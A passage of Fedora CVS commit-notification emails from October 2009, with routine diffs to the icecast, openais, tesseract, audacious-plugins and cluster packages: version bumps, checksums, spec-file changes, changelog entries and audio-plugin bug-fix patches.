-         An on-demand relay will only retrieve the stream if
-         there are listeners connected -->
     <!--
     <relay>
         <server>127.0.0.1</server>
         <port>8001</port>
         <mount>/example.ogg</mount>
         <local-mount>/different.ogg</local-mount>
-        <on-demand>1</on-demand>
+        <on-demand>0</on-demand>
 
         <relay-shoutcast-metadata>0</relay-shoutcast-metadata>
     </relay>
@@ -102,8 +98,9 @@
         <fallback-mount>/example2.ogg</fallback-mount>
         <fallback-override>1</fallback-override>
         <fallback-when-full>1</fallback-when-full>
-        <intro>/path/to/stream-intro.ogg</intro>
+        <intro>/example_intro.ogg</intro>
         <hidden>1</hidden>
+        <no-yp>1</no-yp>
         <authentication type="htpasswd">
                 <option name="filename" value="myauth"/>
                 <option name="allow_duplicate_users" value="0"/>
@@ -111,43 +108,21 @@
         <on-connect>/home/icecast/bin/stream-start</on-connect>
         <on-disconnect>/home/icecast/bin/stream-stop</on-disconnect>
     </mount>
-    -->
-    <!-- other auth possibilities include running a command
-         to do the auth, mount, user and pass are passed via
-         stdin to the program
-    <mount>
-    ....
-        <authentication type="command">
-             <option name="filename" value="auth_verify"/>
-        </authentication>
-        
-        or 
-
-        for url auth, the add url needs to return a "icecast-auth-user: 1" http
-        header for a user to authenicate. Both urls are sent params via POST,
-        add is sent id, mount, user, pass, ip, useragent
-        remove is passed id, mount, user, pass, duration
 
+    <mount>
+        <mount-name>/auth_example.ogg</mount-name>
         <authentication type="url">
-
-             state username/password if url requires it
-
-             <option name="username" value="admin"/>
-             <option name="password" value="hackme"/>
-             <option name="add"    value="http://myauthserver.com/scripts/add_listener.php"/>
-             <option name="remove" value="http://myauthserver.com/scripts/del_listener.php"/>
+            <option name="mount_add"       value="http://myauthserver.net/notify_mount.php"/>
+            <option name="mount_remove"    value="http://myauthserver.net/notify_mount.php"/>
+            <option name="listener_add"    value="http://myauthserver.net/notify_listener.php"/>
+            <option name="listener_remove" value="http://myauthserver.net/notify_listener.php"/>
         </authentication>
-    </mount -->
+    </mount>
 
+    -->
 
     <fileserve>1</fileserve>
 
-    <!-- set the mountpoint for a shoutcast source to use, the default if not
-         specified is /stream but you can change it here if an alternative is
-         wanted or an extension is required
-    <shoutcast-mount>/live.nsv</shoutcast-mount>
-    -->
-
     <paths>
         <!-- basedir is only used if chroot is enabled -->
         <basedir>/usr/share/icecast</basedir>
@@ -176,8 +151,15 @@
     <logging>
         <accesslog>access.log</accesslog>
         <errorlog>error.log</errorlog>
-        <playlistlog>playlist.log</playlistlog>
-      	<loglevel>4</loglevel> <!-- 4 Debug, 3 Info, 2 Warn, 1 Error -->
+        <!-- <playlistlog>playlist.log</playlistlog> -->
+        <loglevel>3</loglevel> <!-- 4 Debug, 3 Info, 2 Warn, 1 Error -->
+        <logsize>10000</logsize> <!-- Max size of a logfile -->
+        <!-- If logarchive is enabled (1), then when logsize is reached
+             the logfile will be moved to [error|access|playlist].log.DATESTAMP,
+             otherwise it will be moved to [error|access|playlist].log.old.
+             Default is non-archive mode (i.e. overwrite)
+        -->
+        <!-- <logarchive>1</logarchive> -->
     </logging>
 
     <security>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	16 Feb 2006 07:23:04 -0000	1.2
+++ sources	21 Oct 2009 11:23:09 -0000	1.3
@@ -1 +1 @@
-2d80a249fa8529f82d018c6216108ea8  icecast-2.3.1.tar.gz
+ff516b3ccd2bcc31e68f460cd316093f  icecast-2.3.2.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:23:53 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:23:53 +0000 (UTC)
Subject: rpms/openais/F-10 .cvsignore, 1.11, 1.12 openais.spec, 1.32,
	1.33 sources, 1.13, 1.14
Message-ID: <20091021112353.0D03E11C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/openais/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7187

Modified Files:
	.cvsignore openais.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openais/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	27 Aug 2009 04:50:39 -0000	1.11
+++ .cvsignore	21 Oct 2009 11:23:52 -0000	1.12
@@ -1 +1 @@
-openais-1.0.1.tar.gz
+openais-1.1.0.tar.gz


Index: openais.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openais/F-10/openais.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- openais.spec	27 Aug 2009 04:50:39 -0000	1.32
+++ openais.spec	21 Oct 2009 11:23:52 -0000	1.33
@@ -2,7 +2,7 @@
 
 Name: openais
 Summary: The openais Standards-Based Cluster Framework executive and APIs
-Version: 1.0.1
+Version: 1.1.0
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -36,12 +36,7 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 ./autogen.sh
 %endif
 
-%{_configure}	CFLAGS="$(echo '%{optflags}')" \
-		--prefix=%{_prefix} \
-		--sysconfdir=%{_sysconfdir} \
-		--localstatedir=%{_localstatedir} \
-		--libdir=%{_libdir} \
-		--with-lcrso-dir=$(pkg-config corosync --variable lcrsodir)
+%{configure}
 
 %build
 make %{_smp_mflags}
@@ -155,14 +150,27 @@ This package contains the include files 
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
+- New upstream release.
+
+* Tue Sep 22 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.2-1
+- New upstream release.
+- spec file updates:
+  * use proper configure macro
+
 * Thu Aug 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.1-1
 - New upstream release. Fixes 2 minor issues in SA CheckPoint service.
 
-* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
-- New upstream release
+* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-3
 - spec file updates:
   * consistent use of macros across the board
 
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
+- New upstream release
+
 * Thu Jul  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.100-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openais/F-10/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	27 Aug 2009 04:50:39 -0000	1.13
+++ sources	21 Oct 2009 11:23:52 -0000	1.14
@@ -1 +1 @@
-dd40a6d6a89904e5e65116b560573aa7  openais-1.0.1.tar.gz
+6b73c7438e230c31aec53d6af78a6b0d  openais-1.1.0.tar.gz



From karlik at fedoraproject.org  Wed Oct 21 11:23:53 2009
From: karlik at fedoraproject.org (Karol Trzcionka)
Date: Wed, 21 Oct 2009 11:23:53 +0000 (UTC)
Subject: rpms/tesseract/F-12 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 tesseract.spec, 1.8, 1.9
Message-ID: <20091021112353.609F011C00E8@cvs1.fedora.phx.redhat.com>

Author: karlik

Update of /cvs/pkgs/rpms/tesseract/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7226

Modified Files:
	.cvsignore sources tesseract.spec 
Log Message:
Update to v2.04


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	3 May 2008 22:58:53 -0000	1.5
+++ .cvsignore	21 Oct 2009 11:23:53 -0000	1.6
@@ -1,2 +1,2 @@
-tesseract-2.03.tar.gz
+tesseract-2.04.tar.gz
 tesseract-2.00.eng.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	3 May 2008 22:58:53 -0000	1.5
+++ sources	21 Oct 2009 11:23:53 -0000	1.6
@@ -1,2 +1,2 @@
-5777b70b11df16c1ac9aa155d7cfc553  tesseract-2.03.tar.gz
+b44eba1a9f4892ac62e484c807fe0533  tesseract-2.04.tar.gz
 b8291d6b3a63ce7879d688e845e341a9  tesseract-2.00.eng.tar.gz


Index: tesseract.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/F-12/tesseract.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- tesseract.spec	27 Jul 2009 05:47:39 -0000	1.8
+++ tesseract.spec	21 Oct 2009 11:23:53 -0000	1.9
@@ -1,6 +1,6 @@
 Name:		tesseract
-Version:	2.03
-Release:	4%{?dist}
+Version:	2.04
+Release:	1%{?dist}
 Summary:	Raw OCR Engine 
 
 Group:		Applications/File
@@ -15,6 +15,7 @@ BuildRequires:	libtiff-devel
 Summary:	Development files for %{name}
 Group:		Development/Libraries
 Requires:	%{name} = %{version}-%{release}
+Provides:	%{name}-static = %{version}-%{release}
 
 %description
 A commercial quality OCR engine originally developed at HP between 1985 and
@@ -30,11 +31,7 @@ developing applications that use %{name}
 
 %build
 sed -i 's#-DTESSDATA_PREFIX=@datadir@/#-DTESSDATA_PREFIX=@datadir@/%{name}/##' ccutil/Makefile.*
-find . -type f -exec sed -i 's/#include <string>/#include <string>\n#include <cstring>/' {} \; ;
-sed -i 's/#include <iostream>/#include <iostream>\n#include <cstring>/' viewer/svmnode.cpp
-sed -i 's/#include <cstring>/#include <cstring>\n#include <cstdlib>\n#include <stdio.h>/' viewer/svutil.cpp
-sed -i 's/#include <cstring>/#include <cstring>\n#include <climits>/' viewer/scrollview.cpp
-rm -f java/makefile
+sed -i 's/#include <iostream>/#include <iostream>\n#include <cstdio>/' viewer/svutil.cpp
 %configure
 make %{?_smp_mflags}
 
@@ -43,7 +40,6 @@ rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/tesseract
 mv $RPM_BUILD_ROOT%{_datadir}/tessdata $RPM_BUILD_ROOT%{_datadir}/tesseract
-rm -rf $RPM_BUILD_ROOT%{_libdir}
 rm $RPM_BUILD_ROOT%{_datadir}/%{name}/tessdata/{deu,fra,ita,nld,spa}*
 
 
@@ -58,13 +54,18 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/wordlist2dawg
 %{_datadir}/%{name}
 
-%doc AUTHORS ChangeLog COPYING NEWS phototest.tif README 
+%doc AUTHORS ChangeLog COPYING eurotext.tif NEWS phototest.tif README 
 
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/%{name}
+%{_libdir}/lib%{name}*
 
 %changelog
+* Wed Oct 21 2009 Karol Trzcionka <karlikt at gmail.com> - 2.04-1
+- Update to v2.04
+- Add static libraries to -devel subpackage
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.03-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mschwendt at fedoraproject.org  Wed Oct 21 11:25:17 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 21 Oct 2009 11:25:17 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12 audacious-plugins-2.1-underruns.patch,
	1.1, 1.2 audacious-plugins.spec, 1.52, 1.53
Message-ID: <20091021112517.3C01D11C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7655

Modified Files:
	audacious-plugins-2.1-underruns.patch audacious-plugins.spec 
Log Message:
* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-6
- Rediff the underruns patch and set buffer_time_min.


audacious-plugins-2.1-underruns.patch:
 alsa-core.c |   41 ++++++++++++++++++++++++++++++++++++-----
 1 file changed, 36 insertions(+), 5 deletions(-)

Index: audacious-plugins-2.1-underruns.patch
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins-2.1-underruns.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- audacious-plugins-2.1-underruns.patch	21 Sep 2009 10:30:06 -0000	1.1
+++ audacious-plugins-2.1-underruns.patch	21 Oct 2009 11:25:17 -0000	1.2
@@ -1,6 +1,6 @@
-diff -Nur audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c audacious-plugins-fedora-2.1-underruns/src/alsa-ng/alsa-core.c
---- audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c	2009-09-16 00:57:07.000000000 +0200
-+++ audacious-plugins-fedora-2.1-underruns/src/alsa-ng/alsa-core.c	2009-09-19 17:38:22.574485456 +0200
+diff -Nur audacious-plugins-fedora-2.1-orig/src/alsa-ng/alsa-core.c audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c
+--- audacious-plugins-fedora-2.1-orig/src/alsa-ng/alsa-core.c	2009-10-21 13:18:35.825170784 +0200
++++ audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c	2009-10-21 13:20:45.520178677 +0200
 @@ -27,6 +27,10 @@
  static gboolean pcm_going = FALSE;
  static GThread *audio_thread = NULL;
@@ -39,7 +39,7 @@ diff -Nur audacious-plugins-fedora-2.1/s
              snd_pcm_drop(pcm_handle);
              snd_pcm_prepare(pcm_handle);
              wr_total = flush_request * (long long) bps / 1000;
-@@ -264,12 +272,26 @@
+@@ -264,12 +272,25 @@
              continue;
          }
  
@@ -58,7 +58,7 @@ diff -Nur audacious-plugins-fedora-2.1/s
 +            if (size > looppostsize)
 +                size = looppostsize;
  
-         alsaplug_ringbuffer_read (& pcm_ringbuf, buf, size);
+-        alsaplug_ringbuffer_read (& pcm_ringbuf, buf, size);
 +            alsaplug_ringbuffer_read (& pcm_ringbuf, buf, size);
 +        }
          g_mutex_unlock (pcm_state_mutex);
@@ -69,7 +69,23 @@ diff -Nur audacious-plugins-fedora-2.1/s
      }
  
      snd_pcm_drain(pcm_handle);
-@@ -377,6 +399,13 @@
+@@ -339,6 +360,7 @@
+     gint err, bitwidth, ringbuf_size, buf_size;
+     snd_pcm_format_t afmt;
+     snd_pcm_hw_params_t *hwparams = NULL;
++    guint time = 1000 * 100;
+ 
+     afmt = alsaplug_format_convert(fmt);
+     if (afmt == SND_PCM_FORMAT_UNKNOWN)
+@@ -365,6 +387,7 @@
+      "snd_pcm_hw_params_set_channels");
+     CHECK_FAIL (snd_pcm_hw_params_set_rate (pcm_handle, hwparams, rate, 0),
+      "snd_pcm_hw_params_set_rate");
++    snd_pcm_hw_params_set_buffer_time_min (pcm_handle, hwparams, &time, 0);
+     CHECK_FAIL (snd_pcm_hw_params (pcm_handle, hwparams), "snd_pcm_hw_params");
+ 
+     bitwidth = snd_pcm_format_physical_width(afmt);
+@@ -377,6 +400,13 @@
          _ERROR("alsaplug_ringbuffer_init failed");
          return -1;
      }
@@ -83,7 +99,7 @@ diff -Nur audacious-plugins-fedora-2.1/s
  
      pcm_going = TRUE;
      flush_request = -1;
-@@ -511,6 +540,7 @@
+@@ -511,6 +541,7 @@
  {
      g_mutex_lock (pcm_state_mutex);
      paused = p;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- audacious-plugins.spec	19 Oct 2009 15:06:17 -0000	1.52
+++ audacious-plugins.spec	21 Oct 2009 11:25:17 -0000	1.53
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -235,6 +235,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-6
+- Rediff the underruns patch and set buffer_time_min.
+
 * Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-5
 - Patch pulseaudio plugin to not get confused by volume values passed
   in via callback.



From mschwendt at fedoraproject.org  Wed Oct 21 11:30:07 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 21 Oct 2009 11:30:07 +0000 (UTC)
Subject: rpms/audacious-plugins/devel
	audacious-plugins-1.5.1-pulseaudio-volume.patch, NONE,
	1.1 audacious-plugins-2.1-underruns.patch, 1.1,
	1.2 audacious-plugins.spec, 1.51, 1.52
Message-ID: <20091021113007.E438F11C02A6@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9190

Modified Files:
	audacious-plugins-2.1-underruns.patch audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-pulseaudio-volume.patch 
Log Message:
sync with F-12

audacious-plugins-1.5.1-pulseaudio-volume.patch:
 pulse_audio.c |   14 ++++++++++++++
 1 file changed, 14 insertions(+)

--- NEW FILE audacious-plugins-1.5.1-pulseaudio-volume.patch ---
There is no callback feature in Audacious < 2.2 that moves the UI's volume
slider when external volume controls are used. Hence stick to the internal
volume level and don't get confused when trying to save/restore external
volume levels.

diff -Nur audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c
--- audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c	2008-05-24 00:44:20.000000000 +0200
+++ audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c	2009-10-19 16:46:47.527799161 +0200
@@ -83,6 +83,8 @@
 }
 
 static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    return;  /* we don't do anything useful with this callback */
+
     assert(c);
 
     if (!i)
@@ -685,6 +687,18 @@
         goto unlock_and_fail;
     }
 
+    pa_operation_unref(o);
+    /* set initial volume */
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL))) {
+        g_warning("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+    pa_operation_unref(o);
+
     do_trigger = 0;
     written = 0;
     time_offset_msec = 0;

audacious-plugins-2.1-underruns.patch:
 alsa-core.c |   41 ++++++++++++++++++++++++++++++++++++-----
 1 file changed, 36 insertions(+), 5 deletions(-)

Index: audacious-plugins-2.1-underruns.patch
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins-2.1-underruns.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- audacious-plugins-2.1-underruns.patch	21 Sep 2009 10:30:06 -0000	1.1
+++ audacious-plugins-2.1-underruns.patch	21 Oct 2009 11:30:07 -0000	1.2
@@ -1,6 +1,6 @@
-diff -Nur audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c audacious-plugins-fedora-2.1-underruns/src/alsa-ng/alsa-core.c
---- audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c	2009-09-16 00:57:07.000000000 +0200
-+++ audacious-plugins-fedora-2.1-underruns/src/alsa-ng/alsa-core.c	2009-09-19 17:38:22.574485456 +0200
+diff -Nur audacious-plugins-fedora-2.1-orig/src/alsa-ng/alsa-core.c audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c
+--- audacious-plugins-fedora-2.1-orig/src/alsa-ng/alsa-core.c	2009-10-21 13:18:35.825170784 +0200
++++ audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c	2009-10-21 13:20:45.520178677 +0200
 @@ -27,6 +27,10 @@
  static gboolean pcm_going = FALSE;
  static GThread *audio_thread = NULL;
@@ -39,7 +39,7 @@ diff -Nur audacious-plugins-fedora-2.1/s
              snd_pcm_drop(pcm_handle);
              snd_pcm_prepare(pcm_handle);
              wr_total = flush_request * (long long) bps / 1000;
-@@ -264,12 +272,26 @@
+@@ -264,12 +272,25 @@
              continue;
          }
  
@@ -58,7 +58,7 @@ diff -Nur audacious-plugins-fedora-2.1/s
 +            if (size > looppostsize)
 +                size = looppostsize;
  
-         alsaplug_ringbuffer_read (& pcm_ringbuf, buf, size);
+-        alsaplug_ringbuffer_read (& pcm_ringbuf, buf, size);
 +            alsaplug_ringbuffer_read (& pcm_ringbuf, buf, size);
 +        }
          g_mutex_unlock (pcm_state_mutex);
@@ -69,7 +69,23 @@ diff -Nur audacious-plugins-fedora-2.1/s
      }
  
      snd_pcm_drain(pcm_handle);
-@@ -377,6 +399,13 @@
+@@ -339,6 +360,7 @@
+     gint err, bitwidth, ringbuf_size, buf_size;
+     snd_pcm_format_t afmt;
+     snd_pcm_hw_params_t *hwparams = NULL;
++    guint time = 1000 * 100;
+ 
+     afmt = alsaplug_format_convert(fmt);
+     if (afmt == SND_PCM_FORMAT_UNKNOWN)
+@@ -365,6 +387,7 @@
+      "snd_pcm_hw_params_set_channels");
+     CHECK_FAIL (snd_pcm_hw_params_set_rate (pcm_handle, hwparams, rate, 0),
+      "snd_pcm_hw_params_set_rate");
++    snd_pcm_hw_params_set_buffer_time_min (pcm_handle, hwparams, &time, 0);
+     CHECK_FAIL (snd_pcm_hw_params (pcm_handle, hwparams), "snd_pcm_hw_params");
+ 
+     bitwidth = snd_pcm_format_physical_width(afmt);
+@@ -377,6 +400,13 @@
          _ERROR("alsaplug_ringbuffer_init failed");
          return -1;
      }
@@ -83,7 +99,7 @@ diff -Nur audacious-plugins-fedora-2.1/s
  
      pcm_going = TRUE;
      flush_request = -1;
-@@ -511,6 +540,7 @@
+@@ -511,6 +541,7 @@
  {
      g_mutex_lock (pcm_state_mutex);
      paused = p;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- audacious-plugins.spec	21 Sep 2009 10:30:06 -0000	1.51
+++ audacious-plugins.spec	21 Oct 2009 11:30:07 -0000	1.52
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 4%{?dist}
+Release: 6%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -26,6 +26,7 @@ Patch1: audacious-plugins-1.5.1-timidity
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
 Patch3: audacious-plugins-2.1-alsa-ng.patch
 Patch4: audacious-plugins-2.1-underruns.patch
+Patch5: audacious-plugins-1.5.1-pulseaudio-volume.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -150,6 +151,7 @@ vortex compressed files.
 %patch2 -p1 -b .xmms-skindir
 %patch3 -p1 -b .alsa-ng
 %patch4 -p1 -b .underruns
+%patch5 -p1 -b .pulseaudio-volume
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -233,6 +235,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-6
+- Rediff the underruns patch and set buffer_time_min.
+
+* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-5
+- Patch pulseaudio plugin to not get confused by volume values passed
+  in via callback.
+
 * Sun Sep 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-4
 - Patch alsa-ng plugin with some buffer prefilling to fight underruns.
 - Merge minor changes from 2.2-alpha1 alsa-ng plugin.



From fabbione at fedoraproject.org  Wed Oct 21 11:31:28 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:31:28 +0000 (UTC)
Subject: rpms/cluster/F-10 .cvsignore, 1.14, 1.15 cluster.spec, 1.28,
	1.29 sources, 1.15, 1.16
Message-ID: <20091021113128.E1A7B11C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9518

Modified Files:
	.cvsignore cluster.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-10/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	24 Aug 2009 13:40:19 -0000	1.14
+++ .cvsignore	21 Oct 2009 11:31:28 -0000	1.15
@@ -1 +1 @@
-cluster-3.0.2.tar.gz
+cluster-3.0.4.tar.gz


Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-10/cluster.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- cluster.spec	24 Aug 2009 13:40:19 -0000	1.28
+++ cluster.spec	21 Oct 2009 11:31:28 -0000	1.29
@@ -18,7 +18,7 @@
 
 Name: cluster
 Summary: Red Hat Cluster
-Version: 3.0.2
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -46,6 +46,7 @@ BuildRequires: openldap-devel perl(ExtUt
   --initddir=%{_sysconfdir}/rc.d/init.d \
   --libdir=%{_libdir} \
   --without_fence_agents \
+  --without_rgmanager \
   --without_resource_agents \
   --without_kernel_modules \
   --disable_kernel_check
@@ -92,11 +93,11 @@ Summary: Red Hat Cluster Manager
 Requires(post): chkconfig
 Requires(preun): initscripts
 Requires(preun): chkconfig
-Requires: corosync >= 1.0.0-1
-Requires: openais >= 1.0.0-1
+Requires: corosync >= 1.0.1-1
+Requires: openais >= 1.0.2-1
 Requires: perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 Requires: ricci >= 0.15.0-4 modcluster >= 0.15.0-3
-Requires: fence-agents
+Requires: fence-agents >= 3.0.4-1
 
 %description -n cman
 Red Hat Cluster Manager
@@ -117,14 +118,15 @@ fi
 %dir %{_sysconfdir}/cluster
 %{_sysconfdir}/rc.d/init.d/cman
 %dir %{_sysconfdir}/cluster/cman-notify.d
-%config(noreplace) %{_sysconfdir}/udev/rules.d/*-dlm.rules
 %config(noreplace) %{_sysconfdir}/logrotate.d/cman
 %{_sbindir}/ccs*
 %{_sbindir}/cman*
 %{_sbindir}/confdb2ldif
-%{_sbindir}/dlm*
+%{_sbindir}/dlm_controld
+%{_sbindir}/dlm_tool
 %{_sbindir}/fence*
-%{_sbindir}/gfs_control*
+%{_sbindir}/gfs_control
+%{_sbindir}/gfs_controld
 %{_sbindir}/group*
 %{_sbindir}/*qdisk*
 /usr/libexec/*
@@ -146,7 +148,7 @@ fi
 %package -n clusterlib
 Group: System Environment/Libraries
 Summary: The Red Hat Cluster libraries
-Conflicts: cman < 3.0.0-5.alpha4
+Conflicts: cman < 3.0.3-1
 Provides: cmanlib = %{version}
 Obsoletes: cmanlib < 3.0.0-5.alpha4
 
@@ -156,6 +158,7 @@ The Red Hat Cluster libraries package
 %files -n clusterlib
 %defattr(-,root,root,-)
 %doc doc/COPYING.* doc/COPYRIGHT doc/README.licence
+%config(noreplace) %{_sysconfdir}/udev/rules.d/*-dlm.rules
 %{_libdir}/libcman.so.*
 %{_libdir}/libccs*.so.*
 %{_libdir}/libdlm*.so.*
@@ -196,38 +199,6 @@ The Red Hat Cluster libraries developmen
 %{_mandir}/man3/*3.gz
 %{_libdir}/pkgconfig/*.pc
 
-%package -n rgmanager
-Group: System Environment/Base
-Summary: Open Source HA Resource Group Failover for Red Hat Cluster
-License: GPLv2+ and LGPLv2+
-Requires: chkconfig initscripts
-Requires: cman resource-agents
-Requires(post): chkconfig
-Requires(preun): initscripts
-Requires(preun): chkconfig
-
-%description -n rgmanager
-Red Hat Resource Group Manager provides high availability of critical server
-applications in the event of planned or unplanned system downtime.
-
-%post -n rgmanager
-/sbin/chkconfig --add rgmanager
-
-%preun -n rgmanager
-if [ "$1" = 0 ]; then
-	/sbin/service rgmanager stop >/dev/null 2>&1
-	/sbin/chkconfig --del rgmanager
-fi
-
-%files -n rgmanager
-%defattr(-,root,root,-)
-%doc doc/COPYING.* doc/COPYRIGHT doc/README.licence rgmanager/README rgmanager/errors.txt
-%{_sysconfdir}/rc.d/init.d/rgmanager
-%{_sbindir}/clu*
-%{_sbindir}/rgmanager
-%{_sbindir}/rg_test
-%{_mandir}/man8/clu*
-
 %package -n gfs2-utils
 Group: System Environment/Kernel
 Summary: Utilities for managing the global filesystem (GFS2)
@@ -301,10 +272,31 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- spec file update:
+  * explicitly Requires newer version of fence-agents
+
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
